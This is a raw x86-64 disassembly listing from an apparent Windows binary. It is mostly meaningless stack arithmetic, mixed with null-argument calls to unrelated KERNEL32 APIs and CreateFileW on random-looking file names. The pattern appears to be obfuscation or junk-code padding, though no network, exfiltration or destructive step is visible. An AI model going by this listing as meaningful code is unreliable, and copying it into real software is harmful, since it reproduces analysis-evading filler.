movzx eax, word [rax]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x38a0], ax
mov rax, qword [rsp + 0x1a0b8]
mov rcx, qword [rsp + 0x19dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19a90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x97f4]
mov dword [rsp + 0xd69c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x1a188]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x824]
sub eax, ecx
mov byte [rsp + 0x809], al
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad640], ax
mov eax, dword [rsp + 0xd3cc]
mov dword [rsp + 0xd6a0], eax
mov eax, dword [rsp + 0xd230]
mov ecx, dword [0x1402bf6b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd1f4]
mov ecx, dword [rsp + 0x8308]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d70]
mov dword [rcx], eax
lea rax, [0x1402ad738]
mov qword [rsp + 0x1a3a8], rax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a2b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7b7], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
shl eax, cl
mov word [rsp + 0x2e48], ax
mov rax, qword [rsp + 0x19e08]
mov rcx, qword [rsp + 0x1a0e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd4c8], eax
mov rcx, qword [rsp + 0x196c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd154], eax
mov rax, qword [rsp + 0x19a60]
mov rcx, qword [rsp + 0x19888]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb66c], eax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a158]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acbff], al
mov rax, qword [rsp + 0x19ec8]
movzx eax, word [rax]
mov word [rsp + 0x38e4], ax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a218]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7f6], al
movzx eax, word [rsp + 0x37f0]
mov word [rsp + 0x38e8], ax
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd20c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x873c], eax
mov rax, qword [rsp + 0x19eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcda8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc1a4], eax
mov rax, qword [rsp + 0x19bd8]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9498], eax
mov rax, qword [rsp + 0x19c58]
mov ecx, dword [rsp + 0xd2f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd048], eax
mov rax, qword [rsp + 0x19e80]
mov eax, dword [rax]
mov dword [rsp + 0xd6a4], eax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a1d0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x206], al
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov word [0x1402bf558], ax
lea rax, [rsp + 0xd12c]
mov qword [rsp + 0x1a3b0], rax
mov rax, qword [rsp + 0x1a080]
mov ecx, dword [rsp + 0xb984]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd4a8], eax
mov rax, qword [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x19ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x93c4], eax
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
mov dword [rsp + 0xd6a8], eax
movzx eax, word [rsp + 0x37b4]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35a8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.ugEX6Bx8RjTrg8zkVLulGV9GCxrMk62b
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a3b8], rax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a170]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x273], al
mov rax, qword [rsp + 0x19f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x800]
or eax, ecx
mov rcx, qword [rsp + 0x1a1a0]
mov byte [rcx], al
movsx eax, word [rsp + 0x38d8]
movsx ecx, word [rsp + 0x1de8]
shl eax, cl
mov word [rsp + 0x373c], ax
mov eax, dword [rsp + 0xd63c]
movzx ecx, al
mov eax, dword [rsp + 0x8100]
shr eax, cl
mov dword [0x1402ad6b8], eax
mov eax, dword [0x1402ad6ec]
mov dword [rsp + 0xd6ac], eax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, byte [rsp + 0x214]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x78c], al
movzx eax, word [rsp + 0x1874]
mov word [rsp + 0x38ec], ax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0x9088]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd238], eax
mov eax, dword [rsp + 0xa234]
mov dword [rsp + 0xd6b0], eax
mov edx, 0xa78
mov rcx, qword [rsp + 0x1a348]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd258], eax
mov eax, dword [rsp + 0xd2e4]
mov ecx, dword [rsp + 0xcf74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd538], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd40c], eax
movzx eax, word [rsp + 0x25e0]
movzx ecx, word [rsp + 0x36c4]
sub eax, ecx
mov word [rsp + 0x2944], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf18], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x7e9]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acc06], al
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd174], eax
lea rax, [rsp + 0xce68]
mov qword [rsp + 0x1a3c0], rax
mov rax, qword [rsp + 0x19e98]
mov rcx, qword [0x1402bf768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb4b0], eax
mov rax, qword [rsp + 0x1a178]
mov rcx, qword [rsp + 0x19938]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd6ac], eax
mov eax, dword [rsp + 0xd61c]
mov dword [rsp + 0xd6b4], eax
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x375c]
sub eax, ecx
mov rcx, qword [rsp + 0x19940]
mov word [rcx], ax
lea rcx, [rsp + 0x19cd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x1c1]
mov byte [rsp + 0x82b], al
movzx eax, word [rsp + 0x38a0]
mov rcx, qword [rsp + 0x19ec0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x38c4], ax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acbb3]
or eax, ecx
mov byte [0x1402bf710], al
mov rax, qword [rsp + 0x19eb0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcdd0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov eax, dword [rsp + 0xd2bc]
movzx ecx, al
mov eax, dword [rsp + 0xa430]
shl eax, cl
mov dword [rsp + 0x8a04], eax
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a1f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x361c], ax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
mov byte [rsp + 0x82c], al
mov eax, dword [rsp + 0xced4]
mov ecx, dword [rsp + 0xd698]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd11c], eax
mov rax, qword [rsp + 0x19e50]
mov ecx, dword [rsp + 0x873c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd20c], eax
mov eax, dword [rsp + 0xd53c]
mov dword [rsp + 0xd6b8], eax
mov eax, dword [0x1402ad668]
mov ecx, dword [rsp + 0xd570]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce2c], eax
movzx eax, word [rsp + 0x3828]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402bf61a], ax
movzx eax, byte [rsp + 0x808]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41d], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.LUaGHbvK7Lnyj068K7LU_bN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a3c8], rax
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd04c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd43c], eax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov dword [rsp + 0xd6bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd1c0], eax
mov rcx, qword [rsp + 0x19f80]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcd74], eax
movsx eax, byte [rsp + 0x7eb]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x826], al
mov rax, qword [0x1402bf708]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x324c]
sub eax, ecx
mov word [rsp + 0x35b4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movzx eax, byte [rsp + 0x79a]
mov byte [rsp + 0x82d], al
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
imul eax, eax, 0x90
mov word [rsp + 0x2e48], ax
mov eax, dword [rsp + 0xcfdc]
mov ecx, dword [rsp + 0xd50c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8af4], eax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd6c0], eax
mov eax, dword [rsp + 0xd210]
mov rcx, qword [rsp + 0x19ef8]
mov qword [rsp + 0x1a3d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a3d0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad7c0], eax
mov rax, qword [rsp + 0x1a2f0]
mov eax, dword [rax]
mov ecx, dword [0x1402bf55c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2c0], eax
movzx ecx, word [rsp + 0x3700]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d4], ax
mov rax, qword [rsp + 0x1a3a8]
mov rcx, qword [rsp + 0x19f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19ea8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xce60]
mov dword [rsp + 0xd6c4], eax
movzx eax, word [0x1402bf642]
movzx ecx, word [rsp + 0x37fc]
sar eax, cl
mov word [rsp + 0x3808], ax
movzx eax, byte [rsp + 0x797]
mov byte [rsp + 0x82e], al
mov rax, qword [rsp + 0x19f18]
mov ecx, dword [rsp + 0xd124]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb630], eax
mov rax, qword [rsp + 0x1a368]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19ea8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd0e8], eax
lea rax, [rsp + 0xcfc8]
mov qword [rsp + 0x1a3d8], rax
mov eax, dword [0x1402ad694]
mov ecx, dword [rsp + 0xd0c4]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad634], eax
movzx eax, byte [rsp + 0x7e9]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7a2], al
movzx eax, word [rsp + 0x3664]
movzx ecx, word [rsp + 0x20c8]
add eax, ecx
mov word [rsp + 0x20c0], ax
movsx eax, word [rsp + 0x3760]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3824], ax
mov rax, qword [rsp + 0x19e30]
movzx eax, byte [rax]
mov byte [rsp + 0x82f], al
mov rax, qword [rsp + 0x1a150]
mov rcx, qword [rsp + 0x19a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e8], eax
mov rax, qword [0x1402bf5c0]
mov rcx, qword [rsp + 0x1a210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb0c8], eax
movzx eax, byte [rsp + 0x7f3]
mov byte [rsp + 0x830], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3638]
sub eax, ecx
mov word [rsp + 0x1874], ax
mov rax, qword [0x1402bf5d0]
mov eax, dword [rax]
mov dword [0x1402bf554], eax
mov eax, dword [rsp + 0xd53c]
mov dword [rsp + 0xd6c8], eax
mov eax, dword [rsp + 0xd66c]
mov ecx, dword [rsp + 0xd534]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb204], eax
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb6f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3a8], eax
mov rax, qword [rsp + 0x1a170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov byte [rsp + 0x75c], al
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x35c4], ax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xd6cc], eax
mov eax, dword [rsp + 0xd52c]
movzx ecx, al
mov eax, dword [rsp + 0xab38]
sar eax, cl
mov dword [rsp + 0xd620], eax
mov eax, dword [rsp + 0xd30c]
mov ecx, dword [rsp + 0xd408]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ab0]
mov ecx, dword [rsp + 0xd294]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x1402bf718]
mov dword [rcx], eax
lea rax, [rsp + 0xd18c]
mov qword [rsp + 0x1a3e0], rax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x826]
and eax, ecx
mov byte [rsp + 0x807], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd224], eax
mov rax, qword [rsp + 0x19f90]
movzx eax, word [rax]
mov word [rsp + 0x38f0], ax
movzx eax, word [rsp + 0x376c]
movzx ecx, word [rsp + 0x3834]
sub eax, ecx
mov word [rsp + 0x35f0], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf660]
add eax, ecx
mov byte [rsp + 0x7ca], al
mov rax, qword [rsp + 0x19db8]
mov rcx, qword [rsp + 0x19ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x96e0], eax
mov rax, qword [rsp + 0x19f20]
mov ecx, dword [0x1402bf770]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19980]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x306]
mov byte [rsp + 0x831], al
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad7c4], ax
mov eax, dword [rsp + 0xd39c]
mov ecx, dword [rsp + 0xd5d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf34], eax
mov eax, dword [rsp + 0xd5e8]
mov dword [rsp + 0xd6d0], eax
mov rax, qword [rsp + 0x19f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19fb8]
mov dword [rcx], eax
mov eax, dword [0x1402ad638]
mov ecx, dword [rsp + 0xa7bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8964], eax
movzx eax, word [rsp + 0x361c]
movzx ecx, word [rsp + 0x2644]
xor eax, ecx
mov word [rsp + 0x2240], ax
mov rax, qword [rsp + 0x1a218]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e8]
or eax, ecx
mov byte [rsp + 0x799], al
mov eax, dword [rsp + 0xd5f0]
mov dword [rsp + 0xd6d4], eax
mov eax, dword [rsp + 0xb5dc]
mov rcx, qword [rsp + 0x19740]
mov qword [rsp + 0x1a3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a3e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd0c4], eax
movsx eax, word [rsp + 0x35ac]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402ad7c8], ax
movsx eax, byte [rsp + 0x4bc]
movsx ecx, byte [rsp + 0x28e]
and eax, ecx
mov byte [rsp + 0x7cc], al
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov word [rsp + 0x38f4], ax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf6f0]
imul eax, ecx
mov byte [rsp + 0x2fd], al
mov rax, qword [rsp + 0x19ba0]
mov ecx, dword [rsp + 0xc91c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb6ec], eax
mov rax, qword [rsp + 0x19d58]
mov ecx, dword [rsp + 0x892c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd550], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [0x1402ad77c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb250], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.02d89d8ulLt6cZpRz6Ai7NCf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a3f0], rax
mov eax, dword [rsp + 0xd554]
mov dword [rsp + 0xd6d8], eax
mov rax, qword [rsp + 0x19a18]
mov ecx, dword [rsp + 0x9f6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcedc], eax
mov rax, qword [0x1402bf688]
movzx eax, word [rax]
mov word [rsp + 0x38f8], ax
movzx eax, byte [rsp + 0x7c4]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x1402acbce], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x19f00]
mov rcx, qword [0x1402bf670]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9684], eax
mov rax, qword [rsp + 0x19c48]
mov ecx, dword [rsp + 0xd180]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd3fc], eax
mov rax, qword [rsp + 0x1a3e0]
mov eax, dword [rax]
mov dword [rsp + 0xd6dc], eax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd25c], eax
movzx eax, word [rsp + 0x384c]
mov rcx, qword [rsp + 0x1a030]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c50], ax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a218]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x824], al
movzx eax, word [0x1402bf630]
mov word [rsp + 0x38fc], ax
mov rax, qword [rsp + 0x1a280]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79c]
or eax, ecx
mov byte [rsp + 0x810], al
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [0x1402bf550], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a338]
mov qword [rsp + 0x1a3f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a3f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x87e8], eax
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov word [rsp + 0x3900], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19fa0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7ea], al
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xce5c]
shl eax, cl
mov dword [rsp + 0x8c24], eax
mov rax, qword [rsp + 0x19b28]
mov ecx, dword [rsp + 0xd288]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb2e4], eax
mov eax, dword [0x1402ad6c0]
mov ecx, dword [rsp + 0xd310]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf48], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov eax, dword [rsp + 0xd088]
mov dword [rsp + 0xd6e0], eax
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x38b4]
add eax, ecx
mov word [rsp + 0x252c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd200], eax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb87], al
mov eax, dword [rsp + 0x8964]
mov dword [rsp + 0xd6e4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.bVuZGbOnwJUx62I
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a400], rax
mov rax, qword [rsp + 0x199c8]
mov rcx, qword [rsp + 0x1a3e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd158], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xba70], eax
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd3b4], eax
mov rax, qword [rsp + 0x19988]
mov ecx, dword [rsp + 0xd244]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f14], eax
mov rax, qword [rsp + 0x19d38]
mov rcx, qword [0x1402bf750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a1e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19960]
movzx eax, word [rax]
mov word [rsp + 0x3904], ax
movsx eax, byte [rsp + 0x7b9]
movsx ecx, byte [rsp + 0x78b]
sub eax, ecx
mov byte [rsp + 0x7b6], al
movzx eax, word [rsp + 0x1f40]
mov word [rsp + 0x3908], ax
lea rax, [0x1402bf6f0]
mov qword [0x1402bf548], rax
mov rax, qword [rsp + 0x19ea8]
mov ecx, dword [rsp + 0xd390]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdd0], eax
mov rax, qword [rsp + 0x1a0d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd650]
shr eax, cl
mov dword [rsp + 0x9a7c], eax
mov rax, qword [0x1402bf730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2048], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x797], al
mov eax, dword [rsp + 0xc658]
mov dword [rsp + 0xd6e8], eax
mov rax, qword [rsp + 0x1a3b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd28c]
shl eax, cl
mov rcx, qword [rsp + 0x1a0b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c78]
mov ecx, dword [rsp + 0xd114]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9088], eax
mov eax, dword [rsp + 0xd01c]
mov dword [rsp + 0xd6ec], eax
movzx eax, byte [rsp + 0x2fd]
movzx ecx, byte [rsp + 0x7dd]
sub eax, ecx
mov byte [0x1402bf61e], al
movzx eax, word [rsp + 0x3834]
movzx ecx, word [rsp + 0x1a18]
add eax, ecx
mov rcx, qword [rsp + 0x19ea0]
mov word [rcx], ax
mov eax, dword [rsp + 0xcea0]
mov dword [rsp + 0xd6f0], eax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb3c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd380], eax
movsx eax, byte [rsp + 0x7c5]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a118]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1848], ax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a198]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6d3], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov word [rsp + 0x390c], ax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd078], eax
mov eax, dword [rsp + 0xb630]
mov ecx, dword [rsp + 0xb66c]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad7cc], eax
mov eax, dword [0x1402ad64c]
mov rcx, qword [rsp + 0x19a60]
mov qword [rsp + 0x1a408], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a408]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd208], eax
lea rax, [rsp + 0xcf20]
mov qword [rsp + 0x1a410], rax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd160]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd170], eax
movzx eax, word [0x1402bf738]
mov word [rsp + 0x3910], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a218]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x9a], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcf7c]
sar eax, cl
mov dword [rsp + 0x8b9c], eax
mov rax, qword [0x1402bf760]
mov rcx, qword [rsp + 0x1a3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcfcc], eax
mov eax, dword [rsp + 0x9e08]
mov ecx, dword [rsp + 0xcd94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd45c], eax
